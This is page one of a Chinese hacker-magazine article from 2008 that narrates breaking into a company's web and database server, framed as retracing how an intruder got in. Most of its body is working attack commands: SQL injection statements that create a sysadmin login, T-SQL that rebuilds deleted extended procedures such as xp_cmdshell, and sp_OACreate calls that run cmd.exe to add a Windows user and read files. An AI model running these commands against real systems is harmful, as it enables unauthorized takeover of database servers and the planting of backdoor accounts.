黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航

黑客文章 - 内网渗透 - 浏览 - 记一次简单的渗透测试经过

记一次简单的渗透测试经过

黑客 发布日期:2008-1-20 2:20:22 共有 1506 人次浏览
首发IT168安全频道
转载请著明 [safe.it168.com]

作者:伤心的鱼


【IT168 专稿】前言:
笔者的一位朋友应聘到一家公司做网管,据说整个机房就他们俩人,工作很轻松。几乎是没什么事做,但是昨天突然给我打电话说是机房被入侵了,被人加了很多用户并且什么cain,arpspoof全都丢到服务器上了,想让笔者帮忙看看是怎么渗透进去的,于是乎在敲诈了一顿烤鸭之后笔者终于出手了。在经过朋友的同意之后特意将本文写出来!

一.渗透前的踩点:

这哥们也够狠,除了丢给我个IP其他什么都没给我!IP是202.108.59.XX。没办法,自食其力。用superscan扫了下,发现开了21.80.1433 这三个端口,因为我只扫1-3389 。并没看见终端的3389。看来这家伙是怕了,直接把3389给关掉了。 用旁注的工具检测了下,发现服务器有两个网站。两个都是ASP的站,不用多说了。先寻找注射点吧,使用两个啊D都打开google 搜索site:xxxx.com,一页显示一百条,扫了半天只发现一个站有注射点,居然还是SA权限!不被黑才怪!

如图1

既然是SA权限,马上准备传个VBS上去,先开了3389在说,但是搞了半天居然用啊D不能列目录!telnet了一下目标服务器的1433发现端口可以外连,于是在注射点后面使用:
exec master.dbo.sp_addlogin sadfish fish;
exec master.dbo.sp_addsrvrolemember sadfish,sysadmin
来添加一个用户名为sadfish密码为fish的SQL server用户权限为SA 。在页面执行两次都返回成功,说明添加成功了,马上打开查询分析器连上,成功连接,但是所有的存储过程都被删掉了。

如图2

二: 恢复存储过程

于是马上想到恢复存储过程来执行命令,于是在查询分析器里执行:

use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

就是将以上的存储过程全部恢复,但是在执行的时候却提示没能找到sp_addextendedproc,原来管理员把sp_addextendedproc也删了。

图3

于是只能先恢复sp_addextendedproc,语句如下:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO



图4

执行成功,然后恢复存储过程,成功恢复了所用存储过,但是在执行exec master.dbo.xp_cmdshell 'net user'
的时候却提示:
ODBC:消息 0,级别 16,状态 1,无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。
原因:126(error not found)。原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢?

三.寻找WEB目录

于是在查询分析器里执行:
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'
来添加个密码用户为sadfish的管理员,提示命令完成,于是马上执行:
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 就是把netstat -an的结果显示在1.txt里保存在c:\,提示成功。
然后继续使用:

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

来读取1.txt里的内容,但是却发现不存在1.txt。

1/2页次 第1页 第2页 下一页 最后一页
所属分类: 内网渗透     网摘收藏: Google 雅虎 百度 POCO 365key 和讯 天极
相关黑客文章